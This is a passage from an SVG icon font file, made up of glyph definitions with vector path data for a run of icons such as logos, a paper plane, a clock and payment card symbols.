d="M582 228q0 -66 -93 -66q-107 0 -107 63q0 64 98 64q102 0 102 -61zM546 694q0 -85 -74 -85q-77 0 -77 84q0 90 77 90q36 0 55 -25.5t19 -63.5zM712 769v125q-78 -29 -135 -29q-50 29 -110 29q-86 0 -145 -57t-59 -143q0 -50 29.5 -102t73.5 -67v-3q-38 -17 -38 -85
q0 -53 41 -77v-3q-113 -37 -113 -139q0 -45 20 -78.5t54 -51t72 -25.5t81 -8q224 0 224 188q0 67 -48 99t-126 46q-27 5 -51.5 20.5t-24.5 39.5q0 44 49 52q77 15 122 70t45 134q0 24 -10 52q37 9 49 13zM771 350h137q-2 27 -2 82v387q0 46 2 69h-137q3 -23 3 -71v-392
q0 -50 -3 -75zM1280 366v121q-30 -21 -68 -21q-53 0 -53 82v225h52q9 0 26.5 -1t26.5 -1v117h-105q0 82 3 102h-140q4 -24 4 -55v-47h-60v-117q36 3 37 3q3 0 11 -0.5t12 -0.5v-2h-2v-217q0 -37 2.5 -64t11.5 -56.5t24.5 -48.5t43.5 -31t66 -12q64 0 108 24zM924 1072
q0 36 -24 63.5t-60 27.5t-60.5 -27t-24.5 -64q0 -36 25 -62.5t60 -26.5t59.5 27t24.5 62zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_438" unicode="&#xf1d3;" horiz-adv-x="1792" 
d="M595 22q0 100 -165 100q-158 0 -158 -104q0 -101 172 -101q151 0 151 105zM536 777q0 61 -30 102t-89 41q-124 0 -124 -145q0 -135 124 -135q119 0 119 137zM805 1101v-202q-36 -12 -79 -22q16 -43 16 -84q0 -127 -73 -216.5t-197 -112.5q-40 -8 -59.5 -27t-19.5 -58
q0 -31 22.5 -51.5t58 -32t78.5 -22t86 -25.5t78.5 -37.5t58 -64t22.5 -98.5q0 -304 -363 -304q-69 0 -130 12.5t-116 41t-87.5 82t-32.5 127.5q0 165 182 225v4q-67 41 -67 126q0 109 63 137v4q-72 24 -119.5 108.5t-47.5 165.5q0 139 95 231.5t235 92.5q96 0 178 -47
q98 0 218 47zM1123 220h-222q4 45 4 134v609q0 94 -4 128h222q-4 -33 -4 -124v-613q0 -89 4 -134zM1724 442v-196q-71 -39 -174 -39q-62 0 -107 20t-70 50t-39.5 78t-18.5 92t-4 103v351h2v4q-7 0 -19 1t-18 1q-21 0 -59 -6v190h96v76q0 54 -6 89h227q-6 -41 -6 -165h171
v-190q-15 0 -43.5 2t-42.5 2h-85v-365q0 -131 87 -131q61 0 109 33zM1148 1389q0 -58 -39 -101.5t-96 -43.5q-58 0 -98 43.5t-40 101.5q0 59 39.5 103t98.5 44q58 0 96.5 -44.5t38.5 -102.5z" />
    <glyph glyph-name="_439" unicode="&#xf1d4;" 
d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF1D5" unicode="&#xf1d5;" horiz-adv-x="1280" 
d="M842 964q0 -80 -57 -136.5t-136 -56.5q-60 0 -111 35q-62 -67 -115 -146q-247 -371 -202 -859q1 -22 -12.5 -38.5t-34.5 -18.5h-5q-20 0 -35 13.5t-17 33.5q-14 126 -3.5 247.5t29.5 217t54 186t69 155.5t74 125q61 90 132 165q-16 35 -16 77q0 80 56.5 136.5t136.5 56.5
t136.5 -56.5t56.5 -136.5zM1223 953q0 -158 -78 -292t-212.5 -212t-292.5 -78q-64 0 -131 14q-21 5 -32.5 23.5t-6.5 39.5q5 20 23 31.5t39 7.5q51 -13 108 -13q97 0 186 38t153 102t102 153t38 186t-38 186t-102 153t-153 102t-186 38t-186 -38t-153 -102t-102 -153
t-38 -186q0 -114 52 -218q10 -20 3.5 -40t-25.5 -30t-39.5 -3t-30.5 26q-64 123 -64 265q0 119 46.5 227t124.5 186t186 124t226 46q158 0 292.5 -78t212.5 -212.5t78 -292.5z" />
    <glyph glyph-name="uniF1D6" unicode="&#xf1d6;" horiz-adv-x="1792" 
d="M270 730q-8 19 -8 52q0 20 11 49t24 45q-1 22 7.5 53t22.5 43q0 139 92.5 288.5t217.5 209.5q139 66 324 66q133 0 266 -55q49 -21 90 -48t71 -56t55 -68t42 -74t32.5 -84.5t25.5 -89.5t22 -98l1 -5q55 -83 55 -150q0 -14 -9 -40t-9 -38q0 -1 1.5 -3.5t3.5 -5t2 -3.5
q77 -114 120.5 -214.5t43.5 -208.5q0 -43 -19.5 -100t-55.5 -57q-9 0 -19.5 7.5t-19 17.5t-19 26t-16 26.5t-13.5 26t-9 17.5q-1 1 -3 1l-5 -4q-59 -154 -132 -223q20 -20 61.5 -38.5t69 -41.5t35.5 -65q-2 -4 -4 -16t-7 -18q-64 -97 -302 -97q-53 0 -110.5 9t-98 20
t-104.5 30q-15 5 -23 7q-14 4 -46 4.5t-40 1.5q-41 -45 -127.5 -65t-168.5 -20q-35 0 -69 1.5t-93 9t-101 20.5t-74.5 40t-32.5 64q0 40 10 59.5t41 48.5q11 2 40.5 13t49.5 12q4 0 14 2q2 2 2 4l-2 3q-48 11 -108 105.5t-73 156.5l-5 3q-4 0 -12 -20q-18 -41 -54.5 -74.5
t-77.5 -37.5h-1q-4 0 -6 4.5t-5 5.5q-23 54 -23 100q0 275 252 466z" />
    <glyph glyph-name="uniF1D7" unicode="&#xf1d7;" horiz-adv-x="2048" 
d="M580 1075q0 41 -25 66t-66 25q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 66 24.5t25 65.5zM1323 568q0 28 -25.5 50t-65.5 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q40 0 65.5 22t25.5 51zM1087 1075q0 41 -24.5 66t-65.5 25
q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 65.5 24.5t24.5 65.5zM1722 568q0 28 -26 50t-65 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q39 0 65 22t26 51zM1456 965q-31 4 -70 4q-169 0 -311 -77t-223.5 -208.5t-81.5 -287.5
q0 -78 23 -152q-35 -3 -68 -3q-26 0 -50 1.5t-55 6.5t-44.5 7t-54.5 10.5t-50 10.5l-253 -127l72 218q-290 203 -290 490q0 169 97.5 311t264 223.5t363.5 81.5q176 0 332.5 -66t262 -182.5t136.5 -260.5zM2048 404q0 -117 -68.5 -223.5t-185.5 -193.5l55 -181l-199 109
q-150 -37 -218 -37q-169 0 -311 70.5t-223.5 191.5t-81.5 264t81.5 264t223.5 191.5t311 70.5q161 0 303 -70.5t227.5 -192t85.5 -263.5z" />
    <glyph glyph-name="_443" unicode="&#xf1d8;" horiz-adv-x="1792" 
d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-453 185l-242 -295q-18 -23 -49 -23q-13 0 -22 4q-19 7 -30.5 23.5t-11.5 36.5v349l864 1059l-1069 -925l-395 162q-37 14 -40 55q-2 40 32 59l1664 960q15 9 32 9q20 0 36 -11z" />
    <glyph glyph-name="_444" unicode="&#xf1d9;" horiz-adv-x="1792" 
d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-527 215l-298 -327q-18 -21 -47 -21q-14 0 -23 4q-19 7 -30 23.5t-11 36.5v452l-472 193q-37 14 -40 55q-3 39 32 59l1664 960q35 21 68 -2zM1422 26l221 1323l-1434 -827l336 -137
l863 639l-478 -797z" />
    <glyph glyph-name="_445" unicode="&#xf1da;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5
t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298zM896 928v-448q0 -14 -9 -23
t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_446" unicode="&#xf1db;" 
d="M768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_447" unicode="&#xf1dc;" horiz-adv-x="1792" 
d="M1682 -128q-44 0 -132.5 3.5t-133.5 3.5q-44 0 -132 -3.5t-132 -3.5q-24 0 -37 20.5t-13 45.5q0 31 17 46t39 17t51 7t45 15q33 21 33 140l-1 391q0 21 -1 31q-13 4 -50 4h-675q-38 0 -51 -4q-1 -10 -1 -31l-1 -371q0 -142 37 -164q16 -10 48 -13t57 -3.5t45 -15
t20 -45.5q0 -26 -12.5 -48t-36.5 -22q-47 0 -139.5 3.5t-138.5 3.5q-43 0 -128 -3.5t-127 -3.5q-23 0 -35.5 21t-12.5 45q0 30 15.5 45t36 17.5t47.5 7.5t42 15q33 23 33 143l-1 57v813q0 3 0.5 26t0 36.5t-1.5 38.5t-3.5 42t-6.5 36.5t-11 31.5t-16 18q-15 10 -45 12t-53 2
t-41 14t-18 45q0 26 12 48t36 22q46 0 138.5 -3.5t138.5 -3.5q42 0 126.5 3.5t126.5 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17 -43.5t-38.5 -14.5t-49.5 -4t-43 -13q-35 -21 -35 -160l1 -320q0 -21 1 -32q13 -3 39 -3h699q25 0 38 3q1 11 1 32l1 320q0 139 -35 160
q-18 11 -58.5 12.5t-66 13t-25.5 49.5q0 26 12.5 48t37.5 22q44 0 132 -3.5t132 -3.5q43 0 129 3.5t129 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17.5 -44t-40 -14.5t-51.5 -3t-44 -12.5q-35 -23 -35 -161l1 -943q0 -119 34 -140q16 -10 46 -13.5t53.5 -4.5t41.5 -15.5t18 -44.5
q0 -26 -12 -48t-36 -22z" />
    <glyph glyph-name="_448" unicode="&#xf1dd;" horiz-adv-x="1280" 
d="M1278 1347v-73q0 -29 -18.5 -61t-42.5 -32q-50 0 -54 -1q-26 -6 -32 -31q-3 -11 -3 -64v-1152q0 -25 -18 -43t-43 -18h-108q-25 0 -43 18t-18 43v1218h-143v-1218q0 -25 -17.5 -43t-43.5 -18h-108q-26 0 -43.5 18t-17.5 43v496q-147 12 -245 59q-126 58 -192 179
q-64 117 -64 259q0 166 88 286q88 118 209 159q111 37 417 37h479q25 0 43 -18t18 -43z" />
    <glyph glyph-name="_449" unicode="&#xf1de;" 
d="M352 128v-128h-352v128h352zM704 256q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM864 640v-128h-864v128h864zM224 1152v-128h-224v128h224zM1536 128v-128h-736v128h736zM576 1280q26 0 45 -19t19 -45v-256
q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1216 768q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1536 640v-128h-224v128h224zM1536 1152v-128h-864v128h864z" />
    <glyph glyph-name="uniF1E0" unicode="&#xf1e0;" 
d="M1216 512q133 0 226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5t-226.5 93.5t-93.5 226.5q0 12 2 34l-360 180q-92 -86 -218 -86q-133 0 -226.5 93.5t-93.5 226.5t93.5 226.5t226.5 93.5q126 0 218 -86l360 180q-2 22 -2 34q0 133 93.5 226.5t226.5 93.5
t226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5q-126 0 -218 86l-360 -180q2 -22 2 -34t-2 -34l360 -180q92 86 218 86z" />
    <glyph glyph-name="_451" unicode="&#xf1e1;" 
d="M1280 341q0 88 -62.5 151t-150.5 63q-84 0 -145 -58l-241 120q2 16 2 23t-2 23l241 120q61 -58 145 -58q88 0 150.5 63t62.5 151t-62.5 150.5t-150.5 62.5t-151 -62.5t-63 -150.5q0 -7 2 -23l-241 -120q-62 57 -145 57q-88 0 -150.5 -62.5t-62.5 -150.5t62.5 -150.5
t150.5 -62.5q83 0 145 57l241 -120q-2 -16 -2 -23q0 -88 63 -150.5t151 -62.5t150.5 62.5t62.5 150.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_452" unicode="&#xf1e2;" horiz-adv-x="1792" 
d="M571 947q-10 25 -34 35t-49 0q-108 -44 -191 -127t-127 -191q-10 -25 0 -49t35 -34q13 -5 24 -5q42 0 60 40q34 84 98.5 148.5t148.5 98.5q25 11 35 35t0 49zM1513 1303l46 -46l-244 -243l68 -68q19 -19 19 -45.5t-19 -45.5l-64 -64q89 -161 89 -343q0 -143 -55.5 -273.5
t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5q182 0 343 -89l64 64q19 19 45.5 19t45.5 -19l68 -68zM1521 1359q-10 -10 -22 -10q-13 0 -23 10l-91 90q-9 10 -9 23t9 23q10 9 23 9t23 -9l90 -91
q10 -9 10 -22.5t-10 -22.5zM1751 1129q-11 -9 -23 -9t-23 9l-90 91q-10 9 -10 22.5t10 22.5q9 10 22.5 10t22.5 -10l91 -90q9 -10 9 -23t-9 -23zM1792 1312q0 -14 -9 -23t-23 -9h-96q-14 0 -23 9t-9 23t9 23t23 9h96q14 0 23 -9t9 -23zM1600 1504v-96q0 -14 -9 -23t-23 -9
t-23 9t-9 23v96q0 14 9 23t23 9t23 -9t9 -23zM1751 1449l-91 -90q-10 -10 -22 -10q-13 0 -23 10q-10 9 -10 22.5t10 22.5l90 91q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
    <glyph glyph-name="_453" unicode="&#xf1e3;" horiz-adv-x="1792" 
d="M609 720l287 208l287 -208l-109 -336h-355zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM1515 186q149 203 149 454v3l-102 -89l-240 224l63 323
l134 -12q-150 206 -389 282l53 -124l-287 -159l-287 159l53 124q-239 -76 -389 -282l135 12l62 -323l-240 -224l-102 89v-3q0 -251 149 -454l30 132l326 -40l139 -298l-116 -69q117 -39 240 -39t240 39l-116 69l139 298l326 40z" />
    <glyph glyph-name="_454" unicode="&#xf1e4;" horiz-adv-x="1792" 
d="M448 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM256 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM832 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23
v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM66 768q-28 0 -47 19t-19 46v129h514v-129q0 -27 -19 -46t-46 -19h-383zM1216 224v-192q0 -14 -9 -23t-23 -9h-192
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1600 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23
zM1408 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1016v-13h-514v10q0 104 -382 102q-382 -1 -382 -102v-10h-514v13q0 17 8.5 43t34 64t65.5 75.5t110.5 76t160 67.5t224 47.5t293.5 18.5t293 -18.5t224 -47.5
t160.5 -67.5t110.5 -76t65.5 -75.5t34 -64t8.5 -43zM1792 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 962v-129q0 -27 -19 -46t-46 -19h-384q-27 0 -46 19t-19 46v129h514z" />
    <glyph glyph-name="_455" unicode="&#xf1e5;" horiz-adv-x="1792" 
d="M704 1216v-768q0 -26 -19 -45t-45 -19v-576q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v512l249 873q7 23 31 23h424zM1024 1216v-704h-256v704h256zM1792 320v-512q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v576q-26 0 -45 19t-19 45v768h424q24 0 31 -23z
M736 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23zM1408 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_456" unicode="&#xf1e6;" horiz-adv-x="1792" 
d="M1755 1083q37 -38 37 -90.5t-37 -90.5l-401 -400l150 -150l-160 -160q-163 -163 -389.5 -186.5t-411.5 100.5l-362 -362h-181v181l362 362q-124 185 -100.5 411.5t186.5 389.5l160 160l150 -150l400 401q38 37 91 37t90 -37t37 -90.5t-37 -90.5l-400 -401l234 -234
l401 400q38 37 91 37t90 -37z" />
    <glyph glyph-name="_457" unicode="&#xf1e7;" horiz-adv-x="1792" 
d="M873 796q0 -83 -63.5 -142.5t-152.5 -59.5t-152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59t152.5 -59t63.5 -143zM1375 796q0 -83 -63 -142.5t-153 -59.5q-89 0 -152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59q90 0 153 -59t63 -143zM1600 616v667q0 87 -32 123.5
t-111 36.5h-1112q-83 0 -112.5 -34t-29.5 -126v-673q43 -23 88.5 -40t81 -28t81 -18.5t71 -11t70 -4t58.5 -0.5t56.5 2t44.5 2q68 1 95 -27q6 -6 10 -9q26 -25 61 -51q7 91 118 87q5 0 36.5 -1.5t43 -2t45.5 -1t53 1t54.5 4.5t61 8.5t62 13.5t67 19.5t67.5 27t72 34.5z
M1763 621q-121 -149 -372 -252q84 -285 -23 -465q-66 -113 -183 -148q-104 -32 -182 15q-86 51 -82 164l-1 326v1q-8 2 -24.5 6t-23.5 5l-1 -338q4 -114 -83 -164q-79 -47 -183 -15q-117 36 -182 150q-105 180 -22 463q-251 103 -372 252q-25 37 -4 63t60 -1q4 -2 11.5 -7
t10.5 -8v694q0 72 47 123t114 51h1257q67 0 114 -51t47 -123v-694l21 15q39 27 60 1t-4 -63z" />
    <glyph glyph-name="_458" unicode="&#xf1e8;" horiz-adv-x="1792" 
d="M896 1102v-434h-145v434h145zM1294 1102v-434h-145v434h145zM1294 342l253 254v795h-1194v-1049h326v-217l217 217h398zM1692 1536v-1013l-434 -434h-326l-217 -217h-217v217h-398v1158l109 289h1483z" />
    <glyph glyph-name="_459" unicode="&#xf1e9;" 
d="M773 217v-127q-1 -292 -6 -305q-12 -32 -51 -40q-54 -9 -181.5 38t-162.5 89q-13 15 -17 36q-1 12 4 26q4 10 34 47t181 216q1 0 60 70q15 19 39.5 24.5t49.5 -3.5q24 -10 37.5 -29t12.5 -42zM624 468q-3 -55 -52 -70l-120 -39q-275 -88 -292 -88q-35 2 -54 36
q-12 25 -17 75q-8 76 1 166.5t30 124.5t56 32q13 0 202 -77q71 -29 115 -47l84 -34q23 -9 35.5 -30.5t11.5 -48.5zM1450 171q-7 -54 -91.5 -161t-135.5 -127q-37 -14 -63 7q-14 10 -184 287l-47 77q-14 21 -11.5 46t19.5 46q35 43 83 26q1 -1 119 -40q203 -66 242 -79.5
t47 -20.5q28 -22 22 -61zM778 803q5 -102 -54 -122q-58 -17 -114 71l-378 598q-8 35 19 62q41 43 207.5 89.5t224.5 31.5q40 -10 49 -45q3 -18 22 -305.5t24 -379.5zM1440 695q3 -39 -26 -59q-15 -10 -329 -86q-67 -15 -91 -23l1 2q-23 -6 -46 4t-37 32q-30 47 0 87
q1 1 75 102q125 171 150 204t34 39q28 19 65 2q48 -23 123 -133.5t81 -167.5v-3z" />
    <glyph glyph-name="_460" unicode="&#xf1ea;" horiz-adv-x="2048" 
d="M1024 1024h-384v-384h384v384zM1152 384v-128h-640v128h640zM1152 1152v-640h-640v640h640zM1792 384v-128h-512v128h512zM1792 640v-128h-512v128h512zM1792 896v-128h-512v128h512zM1792 1152v-128h-512v128h512zM256 192v960h-128v-960q0 -26 19 -45t45 -19t45 19
t19 45zM1920 192v1088h-1536v-1088q0 -33 -11 -64h1483q26 0 45 19t19 45zM2048 1408v-1216q0 -80 -56 -136t-136 -56h-1664q-80 0 -136 56t-56 136v1088h256v128h1792z" />
    <glyph glyph-name="_461" unicode="&#xf1eb;" horiz-adv-x="2048" 
d="M1024 13q-20 0 -93 73.5t-73 93.5q0 32 62.5 54t103.5 22t103.5 -22t62.5 -54q0 -20 -73 -93.5t-93 -73.5zM1294 284q-2 0 -40 25t-101.5 50t-128.5 25t-128.5 -25t-101 -50t-40.5 -25q-18 0 -93.5 75t-75.5 93q0 13 10 23q78 77 196 121t233 44t233 -44t196 -121
q10 -10 10 -23q0 -18 -75.5 -93t-93.5 -75zM1567 556q-11 0 -23 8q-136 105 -252 154.5t-268 49.5q-85 0 -170.5 -22t-149 -53t-113.5 -62t-79 -53t-31 -22q-17 0 -92 75t-75 93q0 12 10 22q132 132 320 205t380 73t380 -73t320 -205q10 -10 10 -22q0 -18 -75 -93t-92 -75z
M1838 827q-11 0 -22 9q-179 157 -371.5 236.5t-420.5 79.5t-420.5 -79.5t-371.5 -236.5q-11 -9 -22 -9q-17 0 -92.5 75t-75.5 93q0 13 10 23q187 186 445 288t527 102t527 -102t445 -288q10 -10 10 -23q0 -18 -75.5 -93t-92.5 -75z" />
    <glyph glyph-name="_462" unicode="&#xf1ec;" horiz-adv-x="1792" 
d="M384 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5
t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5
t37.5 90.5zM384 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 768q0 53 -37.5 90.5t-90.5 37.5
t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1536 0v384q0 52 -38 90t-90 38t-90 -38t-38 -90v-384q0 -52 38 -90t90 -38t90 38t38 90zM1152 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z
M1536 1088v256q0 26 -19 45t-45 19h-1280q-26 0 -45 -19t-19 -45v-256q0 -26 19 -45t45 -19h1280q26 0 45 19t19 45zM1536 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1408v-1536q0 -52 -38 -90t-90 -38
h-1408q-52 0 -90 38t-38 90v1536q0 52 38 90t90 38h1408q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_463" unicode="&#xf1ed;" 
d="M1519 890q18 -84 -4 -204q-87 -444 -565 -444h-44q-25 0 -44 -16.5t-24 -42.5l-4 -19l-55 -346l-2 -15q-5 -26 -24.5 -42.5t-44.5 -16.5h-251q-21 0 -33 15t-9 36q9 56 26.5 168t26.5 168t27 167.5t27 167.5q5 37 43 37h131q133 -2 236 21q175 39 287 144q102 95 155 246
q24 70 35 133q1 6 2.5 7.5t3.5 1t6 -3.5q79 -59 98 -162zM1347 1172q0 -107 -46 -236q-80 -233 -302 -315q-113 -40 -252 -42q0 -1 -90 -1l-90 1q-100 0 -118 -96q-2 -8 -85 -530q-1 -10 -12 -10h-295q-22 0 -36.5 16.5t-11.5 38.5l232 1471q5 29 27.5 48t51.5 19h598
q34 0 97.5 -13t111.5 -32q107 -41 163.5 -123t56.5 -196z" />
    <glyph glyph-name="_464" unicode="&#xf1ee;" horiz-adv-x="1792" 
d="M441 864q33 0 52 -26q266 -364 362 -774h-446q-127 441 -367 749q-12 16 -3 33.5t29 17.5h373zM1000 507q-49 -199 -125 -393q-79 310 -256 594q40 221 44 449q211 -340 337 -650zM1099 1216q235 -324 384.5 -698.5t184.5 -773.5h-451q-41 665 -553 1472h435zM1792 640
q0 -424 -101 -812q-67 560 -359 1083q-25 301 -106 584q-4 16 5.5 28.5t25.5 12.5h359q21 0 38.5 -13t22.5 -33q115 -409 115 -850z" />
    <glyph glyph-name="uniF1F0" unicode="&#xf1f0;" horiz-adv-x="2304" 
d="M1975 546h-138q14 37 66 179l3 9q4 10 10 26t9 26l12 -55zM531 611l-58 295q-11 54 -75 54h-268l-2 -13q311 -79 403 -336zM710 960l-162 -438l-17 89q-26 70 -85 129.5t-131 88.5l135 -510h175l261 641h-176zM849 318h166l104 642h-166zM1617 944q-69 27 -149 27
q-123 0 -201 -59t-79 -153q-1 -102 145 -174q48 -23 67 -41t19 -39q0 -30 -30 -46t-69 -16q-86 0 -156 33l-22 11l-23 -144q74 -34 185 -34q130 -1 208.5 59t80.5 160q0 106 -140 174q-49 25 -71 42t-22 38q0 22 24.5 38.5t70.5 16.5q70 1 124 -24l15 -8zM2042 960h-128
q-65 0 -87 -54l-246 -588h174l35 96h212q5 -22 20 -96h154zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_466" unicode="&#xf1f1;" horiz-adv-x="2304" 
d="M1119 1195q-128 85 -281 85q-103 0 -197.5 -40.5t-162.5 -108.5t-108.5 -162t-40.5 -197q0 -104 40.5 -198t108.5 -162t162 -108.5t198 -40.5q153 0 281 85q-131 107 -178 265.5t0.5 316.5t177.5 265zM1152 1171q-126 -99 -172 -249.5t-0.5 -300.5t172.5 -249
q127 99 172.5 249t-0.5 300.5t-172 249.5zM1185 1195q130 -107 177.5 -265.5t0.5 -317t-178 -264.5q128 -85 281 -85q104 0 198 40.5t162 108.5t108.5 162t40.5 198q0 103 -40.5 197t-108.5 162t-162.5 108.5t-197.5 40.5q-153 0 -281 -85zM1926 473h7v3h-17v-3h7v-17h3v17z
M1955 456h4v20h-5l-6 -13l-6 13h-5v-20h3v15l6 -13h4l5 13v-15zM1947 16v-2h-2h-3v3h3h2v-1zM1947 7h3l-4 5h2l1 1q1 1 1 3t-1 3l-1 1h-3h-6v-13h3v5h1zM685 75q0 19 11 31t30 12q18 0 29 -12.5t11 -30.5q0 -19 -11 -31t-29 -12q-19 0 -30 12t-11 31zM1158 119q30 0 35 -32
h-70q5 32 35 32zM1514 75q0 19 11 31t29 12t29.5 -12.5t11.5 -30.5q0 -19 -11 -31t-30 -12q-18 0 -29 12t-11 31zM1786 75q0 18 11.5 30.5t29.5 12.5t29.5 -12.5t11.5 -30.5q0 -19 -11.5 -31t-29.5 -12t-29.5 12.5t-11.5 30.5zM1944 3q-2 0 -4 1q-1 0 -3 2t-2 3q-1 2 -1 4
q0 3 1 4q0 2 2 4l1 1q2 0 2 1q2 1 4 1q3 0 4 -1l4 -2l2 -4v-1q1 -2 1 -3l-1 -1v-3t-1 -1l-1 -2q-2 -2 -4 -2q-1 -1 -4 -1zM599 7h30v85q0 24 -14.5 38.5t-39.5 15.5q-32 0 -47 -24q-14 24 -45 24q-24 0 -39 -20v16h-30v-135h30v75q0 36 33 36q30 0 30 -36v-75h29v75
